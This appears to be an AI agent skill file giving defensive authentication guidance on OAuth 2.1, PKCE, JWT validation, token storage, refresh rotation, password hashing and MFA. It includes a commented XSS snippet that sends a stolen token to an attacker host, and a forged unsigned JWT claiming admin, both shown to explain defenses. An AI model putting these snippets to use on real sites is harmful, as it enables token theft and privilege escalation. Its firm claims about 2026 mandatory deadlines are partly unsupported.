Auth Security Expert

Auth Security Expert

⚠️ CRITICAL: OAuth 2.1 becomes MANDATORY Q2 2026

OAuth 2.1 consolidates a decade of security best practices into a single specification (draft-ietf-oauth-v2-1). Google, Microsoft, and Okta have already deprecated legacy OAuth 2.0 flows with enforcement deadlines in Q2 2026.

Required Changes from OAuth 2.0

1. PKCE is REQUIRED for ALL Clients

• Previously optional, now MANDATORY for public AND confidential clients
• Prevents authorization code interception and injection attacks
• Code verifier: 43-128 cryptographically random URL-safe characters
• Code challenge: BASE64URL(SHA256(code_verifier))
• Code challenge method: MUST be 'S256' (SHA-256), not 'plain'

// Correct PKCE implementation
async function generatePKCE() {
  const array = new Uint8Array(32); // 256 bits
  crypto.getRandomValues(array); // Cryptographically secure random
  const verifier = base64UrlEncode(array);

  const encoder = new TextEncoder();
  const hash = await crypto.subtle.digest('SHA-256', encoder.encode(verifier));
  const challenge = base64UrlEncode(new Uint8Array(hash));

  return { verifier, challenge };
}

// Helper: Base64 URL encoding
function base64UrlEncode(buffer) {
  return btoa(String.fromCharCode(...new Uint8Array(buffer)))
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=+$/, '');
}

2. Implicit Flow REMOVED

• ❌ response_type=token or response_type=id_token token - FORBIDDEN
• Tokens exposed in URL fragments leak via:
  • Browser history
  • Referrer headers to third-party scripts
  • Server logs (if fragment accidentally logged)
  • Browser extensions
• Migration: Use Authorization Code Flow + PKCE for ALL SPAs

3. Resource Owner Password Credentials (ROPC) REMOVED

• ❌ grant_type=password - FORBIDDEN
• Violates delegated authorization principle
• Increases phishing and credential theft risk
• Forces users to trust client with credentials
• Migration: Authorization Code Flow for users, Client Credentials for services

4. Bearer Tokens in URI Query Parameters FORBIDDEN

• ❌ GET /api/resource?access_token=xyz - FORBIDDEN
• Tokens leak via:
  • Server access logs
  • Proxy logs
  • Browser history
  • Referrer headers
• ✅ Use Authorization header: Authorization: Bearer <token>
• ✅ Or secure POST body parameter

5. Exact Redirect URI Matching REQUIRED

• No wildcards: https://*.example.com - FORBIDDEN
• No partial matches or subdomain wildcards
• MUST perform exact string comparison
• Prevents open redirect vulnerabilities
• Implementation: Register each redirect URI explicitly

// Server-side redirect URI validation
function validateRedirectUri(requestedUri, registeredUris) {
  // EXACT match required - no wildcards, no normalization
  return registeredUris.includes(requestedUri);
}

6. Refresh Token Protection REQUIRED

• MUST implement ONE of:
  • Sender-constrained tokens (mTLS, DPoP - Demonstrating Proof-of-Possession)
  • Refresh token rotation with reuse detection (recommended for most apps)

PKCE Downgrade Attack Prevention

The Attack: Attacker intercepts authorization request and strips code_challenge parameters. If authorization server allows backward compatibility with OAuth 2.0 (non-PKCE), it proceeds without PKCE protection. Attacker steals authorization code and exchanges it without needing the code_verifier.

Prevention (Server-Side):

// Authorization endpoint - REJECT requests without PKCE
app.get('/authorize', (req, res) => {
  const { code_challenge, code_challenge_method } = req.query;

  // OAuth 2.1: PKCE is MANDATORY
  if (!code_challenge || !code_challenge_method) {
    return res.status(400).json({
      error: 'invalid_request',
      error_description: 'code_challenge required (OAuth 2.1)',
    });
  }

  if (code_challenge_method !== 'S256') {
    return res.status(400).json({
      error: 'invalid_request',
      error_description: 'code_challenge_method must be S256',
    });
  }

  // Continue authorization flow...
});

// Token endpoint - VERIFY code_verifier
app.post('/token', async (req, res) => {
  const { code, code_verifier } = req.body;

  const authCode = await db.authorizationCodes.findOne({ code });

  if (!authCode.code_challenge) {
    return res.status(400).json({
      error: 'invalid_grant',
      error_description: 'Authorization code was not issued with PKCE',
    });
  }

  // Verify code_verifier matches code_challenge
  const hash = crypto.createHash('sha256').update(code_verifier).digest();
  const challenge = base64UrlEncode(hash);

  if (challenge !== authCode.code_challenge) {
    return res.status(400).json({
      error: 'invalid_grant',
      error_description: 'code_verifier does not match code_challenge',
    });
  }

  // Issue tokens...
});

Authorization Code Flow with PKCE (Step-by-Step)

Client-Side Implementation:

// Step 1: Generate PKCE parameters
const { verifier, challenge } = await generatePKCE();
sessionStorage.setItem('pkce_verifier', verifier); // Temporary only
sessionStorage.setItem('oauth_state', generateRandomState()); // CSRF protection

// Step 2: Redirect to authorization endpoint
const authUrl = new URL('https://auth.example.com/authorize');
authUrl.searchParams.set('response_type', 'code');
authUrl.searchParams.set('client_id', CLIENT_ID);
authUrl.searchParams.set('redirect_uri', REDIRECT_URI); // MUST match exactly
authUrl.searchParams.set('scope', 'openid profile email');
authUrl.searchParams.set('state', sessionStorage.getItem('oauth_state'));
authUrl.searchParams.set('code_challenge', challenge);
authUrl.searchParams.set('code_challenge_method', 'S256');

window.location.href = authUrl.toString();

// Step 3: Handle callback (after user authorizes)
// URL: https://yourapp.com/callback?code=xyz&state=abc
const urlParams = new URLSearchParams(window.location.search);
const code = urlParams.get('code');
const state = urlParams.get('state');

// Validate state (CSRF protection)
if (state !== sessionStorage.getItem('oauth_state')) {
  throw new Error('State mismatch - possible CSRF attack');
}

// Step 4: Exchange code for tokens
const response = await fetch('https://auth.example.com/token', {
  method: 'POST',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: new URLSearchParams({
    grant_type: 'authorization_code',
    code: code,
    redirect_uri: REDIRECT_URI, // MUST match authorization request
    client_id: CLIENT_ID,
    code_verifier: sessionStorage.getItem('pkce_verifier'), // Prove possession
  }),
});

const tokens = await response.json();

// Clear PKCE parameters immediately
sessionStorage.removeItem('pkce_verifier');
sessionStorage.removeItem('oauth_state');

// Server should set tokens as HttpOnly cookies (see Token Storage section)

OAuth 2.1 Security Checklist

Before Production Deployment:

• PKCE enabled for ALL clients (public AND confidential)
• PKCE downgrade prevention (reject requests without code_challenge)
• Implicit Flow completely disabled/removed
• Password Credentials Flow disabled/removed
• Exact redirect URI matching enforced (no wildcards)
• Tokens NEVER in URL query parameters
• Authorization server rejects 'code_challenge_method=plain'
• State parameter validated (CSRF protection)
• All communication over HTTPS only
• Token endpoint requires client authentication (for confidential clients)

JWT Security (RFC 8725 - Best Practices)

⚠️ CRITICAL: JWT vulnerabilities are in OWASP Top 10 (Broken Authentication)

Token Lifecycle Best Practices

Access Tokens:

• Lifetime: ≤15 minutes maximum (recommended: 5-15 minutes)
• Short-lived to limit damage from token theft
• Stateless validation (no database lookup needed)
• Include minimal claims (user ID, permissions, expiry)

Refresh Tokens:

• Lifetime: Days to weeks (7-30 days typical)
• MUST implement rotation (issue new, invalidate old)
• Stored securely server-side (hashed, like passwords)
• Revocable (require database lookup)

ID Tokens (OpenID Connect):

• Short-lived (5-60 minutes)
• Contains user profile information
• MUST validate signature and claims
• Never use for API authorization (use access tokens)

JWT Signature Algorithms (RFC 8725)

✅ RECOMMENDED Algorithms:

RS256 (RSA with SHA-256)

• Asymmetric signing (private key signs, public key verifies)
• Best for distributed systems (API gateway can verify without private key)
• Key size: 2048-bit minimum (4096-bit for high security)

const jwt = require('jsonwebtoken');
const fs = require('fs');

// Sign with private key
const privateKey = fs.readFileSync('private.pem');
const token = jwt.sign(payload, privateKey, {
  algorithm: 'RS256',
  expiresIn: '15m',
  issuer: 'https://auth.example.com',
  audience: 'api.example.com',
  keyid: 'key-2024-01', // Key rotation tracking
});

// Verify with public key
const publicKey = fs.readFileSync('public.pem');
const decoded = jwt.verify(token, publicKey, {
  algorithms: ['RS256'], // Whitelist ONLY expected algorithm
  issuer: 'https://auth.example.com',
  audience: 'api.example.com',
});

ES256 (ECDSA with SHA-256)

• Asymmetric signing (smaller keys than RSA, same security)
• Faster signing/verification than RSA
• Key size: 256-bit (equivalent to 3072-bit RSA)

// Generate ES256 key pair (one-time setup)
const { generateKeyPairSync } = require('crypto');
const { privateKey, publicKey } = generateKeyPairSync('ec', {
  namedCurve: 'prime256v1', // P-256 curve
});

const token = jwt.sign(payload, privateKey, {
  algorithm: 'ES256',
  expiresIn: '15m',
});

⚠️ USE WITH CAUTION:

HS256 (HMAC with SHA-256)

• Symmetric signing (same secret for sign and verify)
• ONLY for single-server systems (secret must be shared to verify)
• NEVER expose secret to clients
• NEVER use if API gateway/microservices need to verify tokens

// Only use HS256 if ALL verification happens on same server
const secret = process.env.JWT_SECRET; // 256-bit minimum
const token = jwt.sign(payload, secret, {
  algorithm: 'HS256',
  expiresIn: '15m',
});

const decoded = jwt.verify(token, secret, {
  algorithms: ['HS256'], // STILL whitelist algorithm
});

❌ FORBIDDEN Algorithms:

none (No Signature)

// NEVER accept unsigned tokens
const decoded = jwt.verify(token, null, {
  algorithms: ['none'], // ❌ CRITICAL VULNERABILITY
});

// Attacker can create token: {"alg":"none","typ":"JWT"}.{"sub":"admin"}

Prevention:

// ALWAYS whitelist allowed algorithms, NEVER allow 'none'
jwt.verify(token, publicKey, {
  algorithms: ['RS256', 'ES256'], // Whitelist only
});

JWT Validation (Complete Checklist)

async function validateAccessToken(token) {
  try {
    // 1. Parse without verification first (to check 'alg')
    const unverified = jwt.decode(token, { complete: true });

    // 2. Reject 'none' algorithm
    if (!unverified || unverified.header.alg === 'none') {
      throw new Error('Unsigned JWT not allowed');
    }

    // 3. Verify signature with public key
    const publicKey = await getPublicKey(unverified.header.kid); // Key ID
    const decoded = jwt.verify(token, publicKey, {
      algorithms: ['RS256', 'ES256'], // Whitelist expected algorithms
      issuer: 'https://auth.example.com', // Expected issuer
      audience: 'api.example.com', // This API's identifier
      clockTolerance: 30, // Allow 30s clock skew
      complete: false, // Return payload only
    });

    // 4. Validate required claims
    if (!decoded.sub) throw new Error('Missing subject (sub) claim');
    if (!decoded.exp) throw new Error('Missing expiry (exp) claim');
    if (!decoded.iat) throw new Error('Missing issued-at (iat) claim');
    if (!decoded.jti) throw new Error('Missing JWT ID (jti) claim');

    // 5. Validate token lifetime (belt-and-suspenders with jwt.verify)
    const now = Math.floor(Date.now() / 1000);
    if (decoded.exp <= now) throw new Error('Token expired');
    if (decoded.nbf && decoded.nbf > now) throw new Error('Token not yet valid');

    // 6. Check token revocation (if implementing revocation list)
    if (await isTokenRevoked(decoded.jti)) {
      throw new Error('Token has been revoked');
    }

    // 7. Validate custom claims
    if (decoded.scope && !decoded.scope.includes('read:resource')) {
      throw new Error('Insufficient permissions');
    }

    return decoded;
  } catch (error) {
    // NEVER use the token if ANY validation fails
    console.error('JWT validation failed:', error.message);
    throw new Error('Invalid token');
  }
}

JWT Claims (RFC 7519)

Registered Claims (Standard):

• iss (issuer): Authorization server URL - VALIDATE
• sub (subject): User ID (unique, immutable) - REQUIRED
• aud (audience): API/service identifier - VALIDATE
• exp (expiration): Unix timestamp - REQUIRED, ≤15 min for access tokens
• iat (issued at): Unix timestamp - REQUIRED
• nbf (not before): Unix timestamp - OPTIONAL
• jti (JWT ID): Unique token ID - REQUIRED for revocation

Custom Claims (Application-Specific):

const payload = {
  // Standard claims
  iss: 'https://auth.example.com',
  sub: 'user_12345',
  aud: 'api.example.com',
  exp: Math.floor(Date.now() / 1000) + 15 * 60, // 15 minutes
  iat: Math.floor(Date.now() / 1000),
  jti: crypto.randomUUID(),

  // Custom claims
  scope: 'read:profile write:profile admin:users',
  role: 'admin',
  tenant_id: 'tenant_789',
  email: 'user@example.com', // OK for access token, not sensitive
  // NEVER include: password, SSN, credit card, etc.
};

⚠️ NEVER Store Sensitive Data in JWT:

• JWTs are base64-encoded, NOT encrypted (anyone can decode)
• Assume all JWT contents are public
• Use encrypted JWE (JSON Web Encryption) if you must include sensitive data

Token Storage Security

✅ CORRECT: HttpOnly Cookies (Server-Side)

// Server sets tokens as HttpOnly cookies after OAuth callback
app.post('/auth/callback', async (req, res) => {
  const { access_token, refresh_token } = await exchangeCodeForTokens(req.body.code);

  // Access token cookie
  res.cookie('access_token', access_token, {
    httpOnly: true, // Cannot be accessed by JavaScript (XSS protection)
    secure: true, // HTTPS only
    sameSite: 'strict', // CSRF protection (blocks cross-site requests)
    maxAge: 15 * 60 * 1000, // 15 minutes
    path: '/',
    domain: '.example.com', // Allow subdomains
  });

  // Refresh token cookie (more restricted)
  res.cookie('refresh_token', refresh_token, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
    path: '/auth/refresh', // ONLY accessible by refresh endpoint
    domain: '.example.com',
  });

  res.json({ success: true });
});

// Client makes authenticated requests (browser sends cookie automatically)
fetch('https://api.example.com/user/profile', {
  credentials: 'include', // Include cookies in request
});

❌ WRONG: localStorage/sessionStorage

// ❌ VULNERABLE TO XSS ATTACKS
localStorage.setItem('access_token', token);
sessionStorage.setItem('access_token', token);

// Any XSS vulnerability (even third-party script) can steal tokens:
// <script>
//   const token = localStorage.getItem('access_token');
//   fetch('https://attacker.com/steal?token=' + token);
// </script>

Why HttpOnly Cookies Prevent XSS Theft:

• httpOnly: true makes cookie inaccessible to JavaScript (document.cookie returns empty)
• Even if XSS exists, attacker cannot read the token
• Browser automatically includes cookie in requests (no JavaScript needed)

Refresh Token Rotation with Reuse Detection

The Attack: Refresh Token Theft If attacker steals refresh token, they can generate unlimited access tokens until refresh token expires (days/weeks).

The Defense: Rotation + Reuse Detection Every refresh generates new refresh token and invalidates old one. If old token is used again, ALL tokens for that user are revoked (signals possible theft).

Server-Side Implementation:

app.post('/auth/refresh', async (req, res) => {
  const oldRefreshToken = req.cookies.refresh_token;

  try {
    // 1. Validate refresh token (check signature, expiry)
    const decoded = jwt.verify(oldRefreshToken, publicKey, {
      algorithms: ['RS256'],
      issuer: 'https://auth.example.com',
    });

    // 2. Look up token in database (we store hashed refresh tokens)
    const tokenHash = crypto.createHash('sha256').update(oldRefreshToken).digest('hex');
    const tokenRecord = await db.refreshTokens.findOne({
      tokenHash,
      userId: decoded.sub,
    });

    if (!tokenRecord) {
      throw new Error('Refresh token not found');
    }

    // 3. CRITICAL: Detect token reuse (possible theft)
    if (tokenRecord.isUsed) {
      // Token was already used - this is a REUSE ATTACK
      await db.refreshTokens.deleteMany({ userId: decoded.sub }); // Revoke ALL tokens
      await logSecurityEvent('REFRESH_TOKEN_REUSE_DETECTED', {
        userId: decoded.sub,
        tokenId: decoded.jti,
        ip: req.ip,
        userAgent: req.headers['user-agent'],
      });

      // Send alert to user's email
      await sendSecurityAlert(decoded.sub, 'Token theft detected - all sessions terminated');

      return res.status(401).json({
        error: 'token_reuse',
        error_description: 'Refresh token reuse detected - all sessions revoked',
      });
    }

    // 4. Mark old token as used (ATOMIC operation before issuing new tokens)
    await db.refreshTokens.updateOne(
      { tokenHash },
      {
        $set: { isUsed: true, lastUsedAt: new Date() },
      }
    );

    // 5. Generate new tokens
    const newAccessToken = jwt.sign(
      {
        sub: decoded.sub,
        scope: decoded.scope,
        exp: Math.floor(Date.now() / 1000) + 15 * 60,
      },
      privateKey,
      { algorithm: 'RS256' }
    );

    const newRefreshToken = jwt.sign(
      {
        sub: decoded.sub,
        scope: decoded.scope,
        exp: Math.floor(Date.now() / 1000) + 7 * 24 * 60 * 60, // 7 days
        jti: crypto.randomUUID(),
      },
      privateKey,
      { algorithm: 'RS256' }
    );

    // 6. Store new refresh token (hashed)
    const newTokenHash = crypto.createHash('sha256').update(newRefreshToken).digest('hex');
    await db.refreshTokens.create({
      userId: decoded.sub,
      tokenHash: newTokenHash,
      isUsed: false,
      expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
      createdAt: new Date(),
      userAgent: req.headers['user-agent'],
      ipAddress: req.ip,
    });

    // 7. Set new tokens as cookies
    res.cookie('access_token', newAccessToken, {
      httpOnly: true,
      secure: true,
      sameSite: 'strict',
      maxAge: 15 * 60 * 1000,
    });

    res.cookie('refresh_token', newRefreshToken, {
      httpOnly: true,
      secure: true,
      sameSite: 'strict',
      maxAge: 7 * 24 * 60 * 60 * 1000,
      path: '/auth/refresh',
    });

    res.json({ success: true });
  } catch (error) {
    // Clear invalid cookies
    res.clearCookie('refresh_token');
    res.status(401).json({ error: 'invalid_token' });
  }
});

Database Schema (Refresh Tokens):

{
  userId: 'user_12345',
  tokenHash: 'sha256_hash_of_refresh_token', // NEVER store plaintext
  isUsed: false, // Set to true when token is used for refresh
  expiresAt: ISODate('2026-02-01T00:00:00Z'),
  createdAt: ISODate('2026-01-25T00:00:00Z'),
  lastUsedAt: null, // Updated when isUsed set to true
  userAgent: 'Mozilla/5.0...',
  ipAddress: '192.168.1.1',
  jti: 'uuid-v4', // Matches JWT 'jti' claim
}

Password Hashing (2026 Best Practices)

Recommended: Argon2id

• Winner of Password Hashing Competition (2015)
• Resistant to both GPU cracking and side-channel attacks
• Configurable memory, time, and parallelism parameters

// Argon2id example (Node.js)
import argon2 from 'argon2';

// Hash password
const hash = await argon2.hash(password, {
  type: argon2.argon2id,
  memoryCost: 19456, // 19 MiB
  timeCost: 2,
  parallelism: 1,
});

// Verify password
const isValid = await argon2.verify(hash, password);

Acceptable Alternative: bcrypt

• Still secure but slower than Argon2id for same security level
• Work factor: minimum 12 (recommended 14+ in 2026)

// bcrypt example
import bcrypt from 'bcryptjs';

const hash = await bcrypt.hash(password, 14); // Cost factor 14
const isValid = await bcrypt.compare(password, hash);

NEVER use:

• MD5, SHA-1, SHA-256 alone (not designed for passwords)
• Plain text storage
• Reversible encryption

Multi-Factor Authentication (MFA)

Types of MFA:

TOTP (Time-based One-Time Passwords)

• Apps: Google Authenticator, Authy, 1Password
• 6-digit codes that rotate every 30 seconds
• Offline-capable

WebAuthn/FIDO2 (Passkeys)

• Most secure option (phishing-resistant)
• Hardware tokens (YubiKey) or platform authenticators (Face ID, Touch ID)
• Public key cryptography, no shared secrets

SMS-based (Legacy - NOT recommended)

• Vulnerable to SIM swapping attacks
• Use only as fallback, never as primary MFA

Backup Codes

• Provide one-time recovery codes during MFA enrollment
• Store securely (hashed in database)

Implementation Best Practices:

• Allow multiple MFA methods per user
• Enforce MFA for admin/privileged accounts
• Provide clear enrollment and recovery flows
• Never bypass MFA without proper verification

Passkeys / WebAuthn

Why Passkeys:

• Phishing-resistant (cryptographic binding to origin)
• No shared secrets to leak or intercept
• Passwordless authentication
• Synced across devices (Apple, Google, Microsoft ecosystems)

Implementation:

• Use @simplewebauthn/server (Node.js) or similar libraries
• Support both platform authenticators (biometrics) and roaming authenticators (security keys)
• Provide fallback authentication method during transition

WebAuthn Registration Flow:

1. Server generates challenge
2. Client creates credential with authenticator
3. Client sends public key to server
4. Server stores public key associated with user account

WebAuthn Authentication Flow:

1. Server generates challenge
2. Client signs challenge with private key (stored in authenticator)
3. Server verifies signature with stored public key

Session Management

Secure Session Practices:

• Use secure, HTTP-only cookies for session tokens
  • Set-Cookie: session=...; Secure; HttpOnly; SameSite=Strict
• Implement absolute timeout (e.g., 24 hours)
• Implement idle timeout (e.g., 30 minutes of inactivity)
• Regenerate session ID after login (prevent session fixation)
• Provide "logout all devices" functionality

Session Storage:

• Server-side session store (Redis, database)
• Don't store sensitive data in client-side storage
• Implement session revocation on password change

Security Headers

Essential HTTP Security Headers:

• Strict-Transport-Security: max-age=31536000; includeSubDomains (HSTS)
• X-Content-Type-Options: nosniff
• X-Frame-Options: DENY or SAMEORIGIN
• Content-Security-Policy: default-src 'self'
• X-XSS-Protection: 1; mode=block (legacy support)

Common Vulnerabilities to Prevent

Injection Attacks:

• Use parameterized queries (SQL injection prevention)
• Validate and sanitize all user input
• Use ORMs with built-in protection

Cross-Site Scripting (XSS):

• Escape output in templates
• Use Content Security Policy headers
• Never use eval() or innerHTML with user input

Cross-Site Request Forgery (CSRF):

• Use CSRF tokens for state-changing operations
• Verify origin/referer headers
• Use SameSite cookie attribute

Broken Authentication:

• Enforce strong password policies
• Implement account lockout after failed attempts
• Use MFA for sensitive operations
• Never expose user enumeration (same error for "user not found" and "invalid password")

Consolidated Skills

This expert skill consolidates 1 individual skills:

• auth-security-expert

Related Skills

• security-architect - Threat modeling (STRIDE), OWASP Top 10, and security architecture patterns

Memory Protocol (MANDATORY)

Before starting:

cat .claude/context/memory/learnings.md

After completing: Record any new patterns or exceptions discovered.

ASSUME INTERRUPTION: Your context may reset. If it's not in memory, it didn't happen.